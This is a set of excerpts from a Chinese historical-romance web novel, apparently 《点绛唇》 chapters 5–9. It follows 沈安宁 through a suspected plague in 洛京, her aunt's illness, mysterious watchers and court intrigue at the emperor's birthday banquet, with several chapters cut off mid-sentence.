“沈小姐!”跟在陈子洵身后帮大夫提箱子的小厮看见沈安宁后就立刻行礼问好。 陈子洵见沈安宁过来后介绍道:“阿宁!这是宫里的齐博士。” 沈小姐?齐茂成一愣,听闻平川镇北侯沈海此次进京带来了家眷。他一看面前这个姑娘,虽然穿着男子衣裳,却长得十分英气,眉眼间确实有几分和当年的江夫人相似,只是江夫人多了一些温婉,而眼前的这位姑娘则有几分清冷。于是恭恭敬敬地叉手一礼道:“沈小姐!” 沈安宁也恭敬地回了一礼后,急忙问道:“燕姨怎么样了?” “昨日太医署的同僚前来替孙夫人诊脉,从脉象看来像是寻常的热症,已经用了药,只是今日又一次前来看诊时,孙夫人还未退热,如今我已经换了药方,命人前去煎药了。” 沈安宁想起了街上那个乞丐,问道:“这两天伺候燕姨的人可有这个症状?” 陈子洵回头看了看照顾孙雪燕的下人,又摇了摇头道:“没有。” “我在刚来的街上碰见有症状相似的人,叫人送去医馆了,有位叶医者说可能是瘟病,齐博士可以前去看看是否真是瘟病。” “这……我马上就去看看。”齐茂成说完就转身拿过小厮手里的药箱,恭恭敬敬地行了个礼告辞。 “嗯,有劳齐博士了!”沈安宁也俯首相送。 “多谢齐博士!我送您出去!”陈子洵和沈安宁示意后就送齐博士离开了,沈安宁和阿月则是直径进了孙雪燕的房间。 “小姐,燕夫人不会真的是和那个乞丐一样的病吧?”阿月担心地跟在沈安宁身边。 沈安宁没有说话,只是皱着眉头进了房间。 一进房间就看见孙雪燕躺在床上,呼吸不算平稳,沈安宁走近些,明明前两天还见过,现在却感觉床上的人看起来似乎真的消瘦了很多。 孙雪燕一看来人是沈安宁就想起来,有些虚弱的说道:“阿宁来了?” 沈安宁立即准备上前扶她。孙雪燕立刻制止,“快别过来!正生着病呢!别过了病气给你们!” 沈安宁想起刚叶云舒给的手帕,就拿出来遮住口鼻,然后坐到了床边,扶着孙雪燕,伸出手轻轻覆在孙雪燕额头上,“燕姨你感觉怎么样?” “我没事,让你们担心了。”孙雪燕轻轻拍了拍沈安宁的手。 “燕夫人……”阿月皱着眉头走近,略带哭腔。 “你这小丫头,我没事,别担心了!”又看向沈安宁说道:“你们也不要在这待着了,你阿娘她柔柔弱弱的,估计吓坏了,你回去多陪陪她!” “我阿娘没事,燕姨你也不要担心!” “没事就好!没事就好!” “燕夫人,你要早点好起来啊!”阿月抱着孙雪燕的腰。 “这傻丫头,都说了会过了病气了,你还离得这么近。”孙雪燕虽然说着这话,却也只是轻轻拍着阿月的背安抚她。 三人正说着见孙雪燕有些疲惫,沈安宁便扶着她躺下,照顾她熟睡后带着阿月轻轻地退了出来。 从陈府出来后已经到了傍晚,陈子洵送她们两到门口时,看见了候府的马车,阿月便直接过去了,留沈安宁和陈子洵在身后交谈着。 沈安宁这时才想起来,那位齐博士既然是宫里的医博士,为何会来陈府看病,“阿洵,为何是位医博士前来为燕姨诊治?” 陈子洵挠了挠头,“昨日前来诊治的那位医师看过后说是寻常热症,但是今日也没见好转,他今日看了回去了以后齐博士就自己来了。” 沈安宁点了点头,想必是这位医师发现了有些异常,所以叫来了齐茂成,沈安宁抬头看了眼陈子洵,两人自小一起长大,又一同拜李万为师学习武艺,少年剑眉星目,常年在战场上使得肤色有些黝黑,只是才两日不见,他的神情似乎有些疲惫,“别送了!你回去照顾燕姨吧!也照顾好自己。” 说着沈安宁又转头看向陈府的管家,“楚伯,先不管燕姨是不是瘟病,先准备一些预防和治疗瘟病的药材,另外让请医工前来给照顾过燕姨的人都看看,你们自己也多保重!” 楚管家点了点道:“沈小姐你就放心吧!” 陈子洵见沈安宁就要走,急忙问道:“今日一忙忘了问你了,侯府这两天情况如何?听张叔说起有几个在侯府门口盯梢的?你多注意些!” “侯府的事你不用担心!我应付的来,你只管好好照顾燕姨,其他的事不必忧心!” “那就好,只是日常出门也要多注意,毕竟对方在暗我们在明。” “知道了!你进去吧!照顾好燕姨,我明日再来,有什么消息立刻派人通知我。” “嗯。” “沈小姐慢走!” 陈子洵站在原地看着沈安宁上了马车才回头和楚伯一道进门。 沈安宁和阿月坐着侯府的马车回去,沈安宁心里想着今天街上遇见的事,若真如叶云舒所说是瘟病,那以乞丐每日到处乞讨的情形,这洛京内怕是不知有多少人和乞丐接触过,如今只能希望太医署尽快确认是否是瘟病,及时做出决断了! 沈安宁也担心孙雪燕的病情,从小沈安宁就在军营长大,性子也野得很,沈海一心在行军打仗上,江秋妤出嫁前就是个柔枝嫩条的富贵小姐,又自小就有胸痹在身,出嫁后也一直是个温婉贤淑的夫人,从小就管不住闹腾的沈安宁。 倒是孙雪燕,从小父母双亡跟着哥哥孙雨鹤一起长大,会一些武功,一直也是个性格豪爽的姑娘,嫁给自幼一起长大的陈其武以后性子也一直没变,边境多年来战事未平,沈安宁和陈子洵从小到大少不了江秋妤和孙雪燕两位夫人的照顾。 沈安宁正想着这几日来到洛京后遇见的人和事。阿月一路上也是愁眉苦脸的,时不时叹气,沈安宁硬生生被她的一声声叹气声打断了思路,看着她又准备叹气了沈安宁立即打断道:“你再叹阿忠就要把你丢下去了!” “小姐!”阿月急忙往外一看,像是真害怕阿忠会把自己丢下去,回头看着沈安宁,马上又叹了口气,担心道:“小姐,你说燕夫人她会不会……” “别担心了,会没事的!” “嗯!燕夫人那么好,肯定会没事的!” 阿月像是在说服自己,只是没有片刻又是一脸的愁眉苦脸坐着。 沈安宁拉开了窗帘想看看外面,却发现了一个跟着自己马车的黑影,今天早上出门的时候就看到了侯府门口的人也跟着她离开了。她当时着急的去看孙雪燕也没怎么在意,看着窗外繁华的街道,这人确实也是隐蔽得很好,若不是她自小就在军营里长大,怕是也难以发现。 突然,她心上一计,倒想看看这个尾巴想干什么,想了想就让开了身子,“哎,那是什么啊?” 阿月马上就被窗外繁华的洛京吸引了,两个水汪汪的杏眼顿时睁大了,“是面具!” 沈安宁笑了笑,“不如我们下去看看?” 听沈安宁一说,阿月立刻便来了兴趣,用力的点了点头。 阿月迫不及待地转头叫阿忠停车,然后跳了下去,“小姐小姐!你看你看!你快看!那边有人在喷火!” “小姐!那边有人在变脸!” “小姐!……”阿月说着说着就直奔一个买面具的小摊子而去。 沈安宁原本烦闷的心情也消解了许多,微微一笑,也跟着下了车,借着假意整理自己的仪容随意地瞟了一眼马车的后方,吩咐阿忠先回去后,就抽出了别在后腰上的扇子打开,然后漫步跟上阿月。 “走过路过不要错过啊!卖面具嘞!” “哎!这位公子,看看我们的面具呀!这可是今年洛京最流行的样式!”小贩看着沈安宁一身青色男子装束,以为是哪家的贵公子。 “小姐!你看这个面具怎么样!”阿月拿着一个花脸的面具放在脸上比划。 “小……小姐?真是小的冒昧,多有得罪,冒犯之处还望姑娘不要怪罪!”小贩虽有些意外,但也知道洛京内,许多大户人家的小姐为了方便出来玩,都会女扮男装,就也没多在意。 “无妨。” “小姐小姐,你看,那边有糖人!”阿月说着就直直地过去了,沈安宁拿出钱放在面具摊子上,便转身跟上阿月。 小贩喜笑颜开的拿起放在摊子上的钱,连忙道谢:“谢谢姑娘!两位慢走!” “小姐,我们去那边看看吧,我看见那边有喷火的!” 沈安宁跟着阿月走到了卖糖人的小摊前,又看着阿月要了两个糖人,跟在后面在小摊上放下钱。 夜里的洛京热闹的和白日里不相上下,沈安宁跟在阿月后面,一起逛着,灯火通明,到处都是小贩的吆喝声,和行人的欢声笑语,这是沈安宁第一次看见洛京的夜,十九年来只在听闻中的场景,今日都尽在眼前。 阿月已经被远处的喷火吸引了,举着糖人就直径走过去了,也没发现沈安宁没有跟上。 沈安宁路过一座古老的桥,桥下都是泛舟吟诗会友的文人雅士,水面被两岸的灯笼照得明亮,一阵清风吹过,沈安宁好似听见一阵清脆的铃声。 沈安宁拿着扇子慢慢走下桥,就看见一个卖风铃的小摊,这个小摊就跟坐在后面的老婆婆一样,独立那一片繁华之外,她慢慢朝那个小摊走去。 沈安宁走近小摊时,老婆婆才弯着腰起身笑着唤道:“这位公子,看看这风铃吗?” “嗯。”沈安宁微微抬头看着挂在柜子的右上角的那串随风摇曳的风铃。 是梨花。 风铃做的是一支梨花的形状,一簇雪白的梨花下几根银链迎着风晃动,连树枝也做得十分相似。 沈安宁看得认真,余光中一个身影慢慢靠近,带着一股淡淡的草药味。 一个熟悉的声音带着笑问道:“这是梨花吧?” 沈安宁不用回头也知道是谁,只是想起跟在马车后面的身影,两次出现的人都是房小九,难道府门口的人真是他的? 老婆婆笑得和蔼,“这位公子好眼力!是梨花。” 6. 第六章 心事 《点绛唇》全本免费阅读 “那你可知……” 沈安宁正要问是什么样的大人物,就听见阿月急急忙忙地跑过来,手里还拿着一个面具和糖人。 “小……公子!”阿月一见沈安宁旁边还有人就立刻改了称呼。 沈安宁和房小九两人同时看向阿月。阿月走近了看清了原来是房小九,一脸惊讶,“怎么又是你?” 房小九略微有些得意,“是的,又是我!” 沈安宁直接无视了旁边的房小九,向阿月道:“我们回去吧!” 阿月点了点头:“嗯!” 沈安宁:“房公子,我们就此告辞了。” “沈兄弟,稍等!”房小九叫住了沈安宁,递上了那个一直拿在手中的木盒子,笑道:“君子不夺人所好。” 沈安宁垂眼瞟了一眼他手中的木盒,又抬眸看着面前这个一整张脸只有眉眼有生机的男子,笑起来好似初夏的风一样清爽。 房小九见她一直没有说话又没接,又道:“这就当还昨日的酒钱,可别说我蹭酒水喝了!” 一旁的阿月撅了噘嘴。 沈安宁也不再推辞,伸手接过,向他道谢后带着一走三回头的阿月离开了。 待沈安宁两人走后,房小九一直站在原地看着她们的背影,直到一个黑影出现在他身旁拿走了他手中剩下的糖葫芦,他这才回头看着那个黑影。 “我都吃过了!丢了也浪费,不如……”房小九伸手去拿,黑影人转了个身站在了他的另一边。 “主人!医师说过你要注意饮食!” “仲阳!” 见仲阳没有将自己的糖葫芦还给自己的意思,房小九无奈地叹了一口气。 “人还没离开。” 仲阳看起来和房小九一般大,他仿佛没有听见房小九的话,面无表情地说着自己的话。 房小九也安静下来了,看着河水上各个船只,以及那个载着佩娘和一群富家公子的船在面前飘过。 佩娘抱着琵琶轻抚,坐在船头,船里有好几位文人墨客,温着酒,听着曲,推杯换盏之间聊着些风花雪月的趣事。 佩娘的目光却越过他们,看向船只的最里面的一位坐姿端正,仿佛船中其他人都不存在一般的男子,他独自拿着酒杯盯着岸上两个男子的身影,一袭黄色衣袍,腰间挂着一块白玉龙纹玉佩。 沈安宁带着木盒一路回到了侯府,得知沈海回来了,便立马和阿月去了书房。 “阿爹!阿娘!”沈安宁见只有沈海和江秋妤在书房,轻轻敲了敲门得到里面的人允许便进去了,阿月也跟在后面。 “侯爷!夫人!” 江秋妤立即上前,担心的问道:“你们回来了,雪燕怎么样了?” “齐博士已经配了药,下午的时候见神情好了许多!”沈安宁又沈把今日在街上遇见叶云舒的事说了一遍。 沈海扶着有些惊诧的江秋妤坐下,疑惑道:“难道真的是瘟病?近日也未曾听闻哪里有瘟病啊?” 沈安宁眉头微皱,“虽然太医署还未确定,但也不得不防备些。” 沈海严肃的看着女儿,点了下头。 “也不知雪燕有多难受!”江秋妤担忧得眉头紧锁,沈海安慰地拍了拍她的手,好一会又转头对沈安宁道:“阿宁,后天便是圣上的寿宴了,到时你要跟着你阿娘一起进宫。” 此话一出,江秋妤突然安静了,担忧地看着沈安宁,就连阿月也忍不住看向沈安宁。 沈安宁回道:“嗯,我知道了!” 父女两表情如出一辙,沈海道:“今天也累了,你们先回去休息吧!” 两人行了礼后退了出去,沈安宁叫来了吕叔,让他派人看着点医馆,又吩咐他叫张千明日来一趟,这才和阿月一路回到院子,一路上阿月都愁眉不展的。 “好了,快去休息吧!”沈安宁站在院子里对着一直跟在身后的阿月说着。 阿月叹了口气。 沈安宁看着她,心中明白她在担心孙雪燕,“会没事的,先去休息吧!” “嗯。”阿月皱着眉转身,淡紫色的襦裙轻轻摆动,慢慢的走向了自己的房间。 沈安宁看着她离开,突然一怔,低头看了看自己的穿着,一袭银色的男子装束。 昨天碰见房小九时她和阿月都是男子打扮,可是今日阿月身穿一袭淡紫色襦裙,梳着发髻带着簪子,明晃晃的女子装束啊! 今日房小九看到阿月时并无异常……昨日是跟着府门口盯梢的人碰到的他,今日也是…… 如果他是有意接近,那知道自己是女扮男装也就不奇怪了,可他究竟有何目的?昨天在酒楼二楼的人又是谁?还有那个佩娘…… 沈安宁盯着放在石桌上的小木盒子,一桩桩一件件地在脑子里整理着这两天发生的事。 月落日升,初夏的微风轻轻吹过,带着夜里一点未干的雨水,让端着两套衣衫和其他洗漱物品走过的侍女们忍不住打了个寒碜。 院子里窗边一只梨花形状的风铃随着这股微风清脆地响着,沈安宁早早地就在院子里练起了武,一杆红缨枪在沈安宁手中迅速挥舞,一招一式虽不强势却招招轻灵。 侍女们这几天虽是每日都能见到沈安宁在院子里练枪,却还是忍不住看呆了眼,忽然沈安宁一个回头带着手中的枪一同刺去,惊得侍女手中的物件差点掉落。 待沈安宁见到侍女们后利落地收回枪,进入室内坐到窗边的梳妆台边,侍女们轻轻推开门,端着衣衫和梳洗的盆上前,却见沈安宁只是抬头看着窗上响的那只风铃沉默着。 侍女端上了两套衣衫,沈安宁盯着两套衣物看了看,最后还是选了那男装,倒不是说她有多喜爱男装,只是因为她常年待在没有女子的军营,穿着男装确实更方便,后来就也习惯了这身打扮。 等沈安宁梳洗好了以后,阿月才睡眼朦胧地从院子的另一处房间出来。 用过早饭后,沈安宁看着急急忙忙赶过来的张千,给他倒了一杯水推过去,张千坐下顺势接过喝了一大杯水。 “找我来有什么事啊?难道是门口那些人有什么异常?”张千放下杯子后问道。 “你知道长乐坊的佩娘吗?” 张千一脸惊讶,随后又笑吟吟道:“怎么?你这才刚来洛京几天?连长乐坊都去过了?” 沈安宁给他添了水,笑道:“这不是说好了来了洛京给你物色夫人嘛!” “你这丫头,没大没小!”张千端起水来喝了一口,正经道:“这个佩娘,有什么可疑之处吗?” 沈安宁也不在玩闹,将在福星楼遇见的事和他说了一遍,“她是长乐坊的乐妓,擅弹琵琶,按理说她的手应该细白柔软,即使有茧也应在手指。可那天在酒楼,我见她手中的茧在掌心,想来凭她的身份也不会是做粗活留下的,反倒是像练武时留下的。虽说这洛京是卧虎藏龙,一个乐妓有武功用来傍身也不是什么可疑之事,可我两次遇见她都和候府门口的那拨人有关。” 张千严肃地沉思了片刻,“这个佩娘确实不知是谁的人,但是这个长乐坊是赵王的,有没有可能她是赵王的人?” “方景澄?” “是,听闻福星楼也是他的。” 沈安宁:“……” “不过侯府门口盯梢的人有些线索了,只是我一路查到皇宫线索就断了,但是能住在宫里的人……这么想来会是方景澄吗?” “可方景澄不是已经出宫开府了吗?既然此人在宫中,那未必是他。” 张千笑了笑,“我们这位圣上啊!以孝闻名天下,现在在世的七位皇子,除了今年要出宫立府,但现下王府还未完工的十皇子在宫中住,就只有九皇子还未开府,其余几位皇子都早已出宫,但圣上念及皇子要在其母妃面前尽孝服侍,所以允许皇子随时回宫住,这在历朝历代都是没有过的。” 沈安宁闻言疑惑道:“十皇子方景淳都要出宫了,为何九皇子方景淮还未开府?” 张千想了想,随口道:“这个九皇子自小就体弱,一直是个药罐子,想必圣上是想留他在宫中休养吧!”张千顿了顿又道:“又是福星楼又是佩娘的,说不定真和这位赵王脱不了干系。” 沈安宁思忖了一会,“不一定,昨日我们还碰上了方景泽。” “你这才来洛京几天,怎么连魏王也碰上了?” 沈安宁又把昨日街头遇见方景泽的事和他说了一遍。 “二哥这两天魂不守舍的,前日才听二哥说起二嫂生了病,二嫂现在怎么样了?” “现在还好,有宫里的医师和齐博士在照看着。” “那就好!只是二嫂要受这苦,你多去看看,有什么情况及时告诉我一声。”张千顿了顿,又接着说道:“这宫里这么多人,况且又戒备森严,要查出来是谁还需要点时间,虽说这洛京打得过你的也找不出几个,但是你最近出门还是要多注意,毕竟你对洛京也不熟悉,要不直接将门口的人赶走吧!” 沈安宁道:“倒也不必!如今我们连是谁对付我们都不知道,就这样赶走了岂不是更找不到幕后之人了?况且他们也不能怎么样,就先看看吧!” 张千又一口喝了一大杯水,突然严肃了起来,“如今圣上已经要年过半百,东宫之位却一直空着,若是冲你 7. 第七章 进宫 《点绛唇》全本免费阅读 陈子洵并未察觉齐茂成的异样,只听见叶云舒提起沈家姑娘,就明白了这正是昨日沈安宁在街上遇见的那位姑娘,于是他向叶云舒一一介绍眼前的人,“在下陈子洵,这是宫里的齐博士,这是小谭将军,王侍郎,刘奉御,这几位是宫中的医师,想必就是姑娘先发现了这些病人吧?” 叶云舒轻轻点头。 齐茂成却突然开口问道:“姑娘家中可还有其他人?” 陈子洵疑惑地看向齐茂成,而后又转头看着叶云舒。 叶云舒却很平静,缓缓道:“我父母早已双双亡故,家中已无亲人。” “姑娘节哀。”陈子洵听她说完后对她又多了几分同情。 齐博士黯然。 谭谨见状问道:“姑娘今日在此,可是有什么发现?” 叶云舒也没有被影响到,“昨日我已给他们诊了脉,除了一些原先身上有些病痛的,其余都已为他们配了药,今日来看时并未有何异样,各位可有什么发现吗?” 齐茂成这才回过神来,正色道:“他们的症状和孙夫人的症状相似,如今既已都无异常,想来不会是瘟病了。” 叶云舒递上一张药方,“这是我写的药方,还请齐博士赐教。” 齐茂成接过她写的药方,仔细看了一遍后问道:“不知姑娘师从何处?” “家师只是一个乡野郎中而已。” “我看姑娘的药方,想来姑娘必定精通医术,所以我想教姑娘医术之人必定是位医术高明之人,看来高手自在民间。” “齐博士过誉。” 叶云舒和齐茂成两人带着宫中来的医师逐个检查了乞丐的病情,又向叶云舒了解了乞丐们之前的情况,然后才开始抓药和煎药。 王侍郎带着一位医师回宫复命,陈子洵谭谨两人见他们忙得顾不上自己,于是陈子洵问道:“我们能帮忙做什么吗?” 齐茂成看了看,“那就劳烦两位小将军帮忙看看外面煎的药,其他人可以跟我去照顾那边的病人。” “好。” “好。” 陈子洵说完走向正蹲在地上煎药的叶云舒问道:“有什么我可以帮忙的吗?” 叶云舒拿着蒲扇回头,抬头看了看他便指向旁边的药碾,“还需要一些药材。” 陈子洵和谭谨便马上坐过去开始碾药,三人之间安静地做着各自的事,院子里只听见碾药、蒲扇和煎药的声音。 陈子洵的目光从眼前的药碾到院子里的药材,最后飘到了正打开药罐盖子看的叶云舒。 叶云舒虽然白纱遮面,却也难掩容颜,一双桃花眼更是显得温婉可人,行事也是端庄大方,像个教养得很好的大家闺秀。看了好一会,陈子洵突然回过神,又觉得这样很是无礼,便赶紧把目光放在了眼前的药碾上。 一旁的谭谨见他这般,只是打量了一眼一旁的叶云舒,就又低头干自己的活了。 叶云舒突然出声,“刚听齐博士说起,陈公子的娘亲也得了热症?” 陈子洵突然听见对方的声音,一时有些慌乱,但是一听见母亲便有些低落,点头回应道:“嗯。” “夫人一直在府里,是怎么得的?”叶云舒一边轻轻扇着蒲扇,一边问着。 “前几日刚到洛京时,有个乞丐刚好在门前摔了一跤,阿娘便上去扶了他,若是真的能传染,那想来应该是那时染上的。” “夫人善心,一定会没事的!公子不必太过思虑。” “嗯,希望如此。”陈子洵想到躺在床上的孙雪燕心中一阵苦涩,又突然想起了什么问道:“得知此病会传染,大多人都避之不及,姑娘为何还特意前来照顾他们?” “既为医者,遇见病症哪有躲避的?” 陈子洵自觉自己问了个没用的问题,但是心中对叶云舒还是多了几分欣赏,只是看着叶云舒又不知该聊些什么,毕竟以前在军营里都是男子,唯一一个女子还是沈安宁,他从小到大一直把沈安宁当成妹妹,相处间自是随意,如今一开口才发现自己竟不知该如何和旁的女子说话。 叶云舒也没有再说话,专心地煎着药。 三人就这样待着到了日落的时分,终于把乞丐都安顿好了。 “今日辛苦诸位了!”齐茂成刚从病人堆里直起腰,扶了扶自己的腰。 “无妨。”陈子洵抬头看见院子那头正在收药材的叶云舒。 “天色也晚了!诸位今日也辛苦了!早点回去休息吧!” 叶云舒听着把手中的药材收好便走近,“劳烦齐博士了!我明日再来!告辞!” 陈子洵看着道别的叶云舒,刚想跟上去,但还是有礼地先跟齐茂成谭谨等人道别,然后才一边拿下面纱一边匆匆的去追已经出了医馆的叶云舒,看见叶云舒出了医馆往西边走去,连忙叫道:“姑娘……” 叶云舒回过头,整个人都浸在夕阳里,一双带着笑得桃花眼看向陈子洵。 陈子洵脸颊突然有点发热,“这天色已晚,你一个姑娘独自一人怕是不安全,不如我……我送姑娘回去吧!” 叶云舒掩面而笑。 陈子洵不解,而后又立刻想到自己也是个八尺男儿,以为她是怕别人会说自己和她的闲话,便立刻解释道:“我……” “好啊!劳烦公子了!” 陈子洵看叶云舒答应了,也没管还没说的半句话,快步上前走在叶云舒身旁,两人并肩迎着落日前最后一点光的方向走去。 两人走了许久无言,叶云舒转头看向旁边的陈子洵才发现两人之间的距离竟还可以再站两个人,而陈子洵也一直目视前方。 叶云舒有些想笑,今日听齐博士说起他是陈其武将军之子,从小就跟着父亲一同上战场,既是在战场上也能英勇杀敌的将军,没想到为人这么礼貌正直,想到这,叶云舒面露微笑。 陈子洵听见叶云舒笑了,挠了挠头也微笑着问:“姑娘因何而笑?” “无事。”叶云舒觉得自己有些失礼,便立刻转移话题,指着眼前不远处的酒楼,“我到了!” 陈子洵看着她所指的酒楼,面露疑惑。 叶云舒解释道:“我家本在陵州,父亲离世前曾说起在洛京有位远房的亲戚,待孝期满后我本想着来洛京寻亲,前两日才刚到洛京落脚,便遇见了二旺,二旺就是今日那个乞丐,所以近些日子便先在酒楼住下了,等二旺他们治好了我再去寻亲。” 陈子洵看着叶云舒,一时不知怎么安慰,“我可以帮你找你的亲人!” 叶云舒微微笑着道谢。 陈子洵看着叶云舒,一时不知该说什么,想了想,“对了!我叫陈子洵。” 陈子洵说完又立即想起,今日已经和叶云舒介绍过自己,于是有些懊恼,正准备解释,就见叶云舒笑着点了点头。 两人又开始沉默不语,只是两人都不约而同地不去看对方。 最后还是叶云舒先开口,“那我就先告辞了?” “好。” 陈子洵看着叶云舒离开,进入酒楼,直到最后看不见身影,才带着笑容转身离开,一边走还不时地回头看着酒楼。 就在他转身的时候酒楼二楼的靠边上的窗户突然打开,露出了叶云舒温柔的身影。 落了一夜的雨,转眼就到了皇帝寿宴的这天,江秋妤带着沈安宁和阿月一辆马车,沈海和张千骑着马在前面走着。 沈安宁一身橙色襦裙配着相称的帔子,靠着车窗闭着眼睛,头经不 8. 第八章 宫宴 《点绛唇》全本免费阅读 沈海立刻接道:“陈将军在边疆待惯了,说话也不是很注意,还望王爷,王妃和世子不要介意。” 方瑞尧正准备接话,方书君却是一笑,“陈将军为人爽快,我做小辈的自是不敢计较,平川的将士们保家卫国,我也是敬佩有加的!” 沈海道:“世子果然是通情达理。” 方瑞尧也笑道:“陈将军快人快语,我以前就知道的,也没什么计较的,只是这许久未见,陈将军这性子还是一如既往的豪爽。” 陈其武挠了挠头。 沈海:“王爷和世子大人有大量,不要见怪才好,要不我们先进去吧!今日可有的是时间好好叙旧。” 说罢沈海对方瑞尧做了个请的手势,阿月和晴云一同扶着江秋妤和站在身后的沈安宁等人立刻让出一条路来。 方瑞尧笑着拉上沈海并肩而行,方书君扶着母亲跟上,等着她们都过去了沈安宁和张千也不紧不慢地跟上。 一行人在宫门口接受检查后跟着一个带路的公公往宫宴的方向走去。 沈安宁正在心里感叹着这皇宫的华丽,只是碍于有旁人在场也不好东瞧西看的。而原本应该跟在沈海身后的张千却站在了沈安宁旁边,小声问道:“为什么毅王和王妃对大嫂这么热情啊?” 沈安宁微微歪头也轻声回道:“可能是因为舅母是高太妃的妹妹吧!” 而高太妃则是毅王方瑞尧的生母。 张千好似突然想起了什么,茅塞顿开,笑道:“也是,在平川待久了竟忘了大嫂也是皇亲国戚。” 到了宫宴大门时,沈海和毅王两人正谦让着谁先进去,一个被几个身穿官服的人簇拥的中年男子却先一脚踏进了大门,进了门后才一脸故作诧异的回头,“我当这是谁?原来是毅王爷和镇北侯啊!可真是好久不见了,刚一看还没认出来,还以为是哪两个今年刚晋升的小官,第一次参加圣上的寿宴,在这不知所措呢!” 说完就笑了,身后的一群人都不敢接话,只有一位拄着拐杖的老者眉头微皱盯了一眼邵盛。 一人看了一眼老者的脸色便立刻打圆场,“王爷久居端州,镇北侯也是长年镇守平川,自是不常在洛京出现的!今日圣上寿宴,不如诸位大人先进去?” 方瑞尧面上倒是没有一丝不悦,“邵国公、中书令和诸位大人每日为圣上分担大事,自是和本王见得少。” 邵盛冷笑一声道:“王爷这是哪里话,我们在洛京为皇上分忧,自是没有王爷这般潇洒,有大把的时间游山玩水。” 邵国公?难道是邵修齐?邵晨的爷爷?那看来这人便是邵晨的父亲中书令邵盛了,沈安宁不禁往那群人看去,果然不出意外地有个眼熟的身影。 邵晨也正好看到了沈安宁,原本扇着扇子的手停在空中,看了看阿月又看向沈安宁,眼神先是疑惑后又立刻恶狠狠的瞪着沈安宁。 陈子洵和张千两人看见邵晨的目光也疑惑着,才想起之前沈安宁在街上救叶云舒的事。 张千脖子僵硬得一动不动小声道:“他一直瞪你。” 沈安宁转头瞥了一他眼,张千便很自觉的闭嘴了。 邵晨身边还有一个和他年纪相仿的姑娘,一身紫色襦裙衬得美艳动人,跟着邵晨盯着沈安宁的目光看去,对上了沈安宁毫不躲闪的目光,便对沈安宁微微一笑,然后轻轻拉了一下邵晨的衣袖。 邵晨回头看了她一眼,竟带了几分难得的温柔,也没有再瞪着沈安宁了。而跟在邵盛身后的夫人王明珠看见她的动作后,瞟了她一眼,虽然面带着微笑眼神却是凌厉,只是一眼那紫衣姑娘便立马低下头,随后迅速整理好表情又抬起头来。 “这人就是邵晨的妹妹邵暮吧?”张千又僵着脖子小声凑了过来,沈安宁只是抬头看了一眼邵暮没有说话。 “王爷和镇北侯莫怪!”拄着拐杖的老者这时开口道:“小儿久仰二位风采,因此和两位开了个玩笑,两位莫要怪罪!” 方瑞尧见此,笑道:“怎会!邵国公多虑了!诸位都是为姜国劳心尽力之人!理应你们先进!快请!快请!” 这时又一位身穿紫色官服的男子信步而来,看起来有点年纪了走起路来却是坚定不移,走近后见一群人都聚集在门口,“今日果真是热闹,各位同僚都还未进门便着急地打招呼了!” 邵盛身后的人一见此人前来便都恭敬的问侯道:“杜侍中!” 只有邵盛像是没有看见杜泉一般。杜泉却毫不在意邵盛的无视,也恭敬地给各位同僚回礼。 “各位不如进去再聊吧!”杜泉说着便对方瑞尧和沈海做出了请的手势。 方瑞尧转头看见沈海也让他,于是便就走了进去,沈海看见杜泉还站着便向点了点头也进去了,接着众人一一都跟着进去了。 沈安宁跟着江秋妤坐到了安排好的位置上,便习惯性地开始不动声色地观察周围。坐在身后的张千一看沈安宁就知道她在干嘛,见她正看着前方的一位老丈,便把身子向前略倾轻声解释道:“那位老丈就是陆国公陆柏。” 沈安宁借着酒杯微微侧头,陆柏是陆太后的叔父,她自然知道,只是以往一直在平川并未见过,如今才得以见到真人。 张千知道她在听又继续道:“你看那老丈的身旁是他的两个儿子,是皇后的父亲兵部尚书陆通和德妃的父亲礼部侍郎陆远。” 沈安宁轻轻点头,示意她明白了。等沈安宁回过头安安静静地坐好,一个公公站上了殿中最高位置,清了清嗓子,道:“陛下驾到!太后娘娘驾到!高太妃驾到!皇后娘娘驾到!” 众人皆是即刻起身低头行礼,一路送着皇上、太后、太妃和皇后众人走上了主位,等皇帝和皇后扶着太后落坐后,皇帝随后落座便命众人平身落座,随行的几个妃嫔也随即坐下。 沈安宁这才悄悄打量起皇帝方承尧,虽说这方承尧已年过不惑,可方承尧本人看起来却远比五十还要更显得苍老,反倒是太后,虽然已年过花甲之年,可岁月对她却是比较温和。 这时,沈安宁发现太后身后的一位妈妈正看着自己这边,像是在看阿爹,这位妈妈穿着虽然和其他妈妈并无二致,却带着华丽的首饰,想必是太后眼前的红人,沈安宁自然地收回了目光。 “今日是朕寿辰,故特在此设宴,与众爱卿同乐!” 众人齐声道:“臣恭祝圣上万寿无疆,圣体康泰,国运昌盛。” “众爱卿平身!”方承尧和众人同饮一杯后看着众人谢恩坐下,又看向方瑞尧,问道:“七郎近来可好?” 方瑞尧一家赶紧起来行礼,回道:“谢圣上关心,臣一切安好!” 方承尧点了点头,又看见了方瑞尧和周紫玉身后的方书君,关心地问道:“这是阿君吧?都长这么大了?” 方瑞尧赶紧唤方书君上前行礼祝贺。 “臣祝圣上千秋圣寿,太后娘娘凤体安康,皇后娘娘如意吉祥,高太妃长寿永安,各位娘娘芳颜永驻!”方书君毕恭毕敬地行礼祝福。 “嗯,快起来!”方承尧笑着问道:“一直跟随你父亲在端州,不曾见到,如今一见竟这般大了!模样倒是有几分七郎年轻时候的样子。” 方瑞尧听了皇帝这话心里一紧,周紫玉也很是慌张。 方书君大方有礼,缓缓回道:“臣还有许多要向圣上和阿爹学习的!” 方承尧听后笑道:“你年纪尚小,等你再年长一些自会有所成就!” 方瑞尧夫妇皆是暗自松了口气。 “谢圣上夸奖!” “毅王常年久居封地,往年也就这几天回京给圣上祝寿,想必高妹妹很是想念你们,趁着这几日要多进宫来看看她,也尽一尽为人子女的孝心!”太后一边说着还一边拉起了坐在旁边的高太妃的手轻轻拍着。 高太妃看起来年纪要比太后小很多,十几岁时就被先帝看中纳为妾室,不久就生下了毅王方瑞尧,后来也跟随先帝进宫为妃。 本以为这辈子就要这样过去了,没想到先帝登基不到两年就驾崩了,三皇子方 9. 第九章 被困 《点绛唇》全本免费阅读 就在这时,钟昭仪钟意兰缓缓走到殿中跪下说道:“既然小陈将军已有所爱,又怎么能让臣妾相信他会真心对待四娘,还请圣上体恤臣妾爱女心切,收回成命!” 方承尧脸上并不好看,但也没有言语,众人正屏气敛息。 这时太后陆嫣突然出声:“本也是一件美事,可毕竟也是婚姻大事,既是双方都不情愿,那便也不强求。” “谢太后!”陈子洵谢恩后并没有起身。 方承尧面色渐渐有点变化,挥挥手,“罢了!” 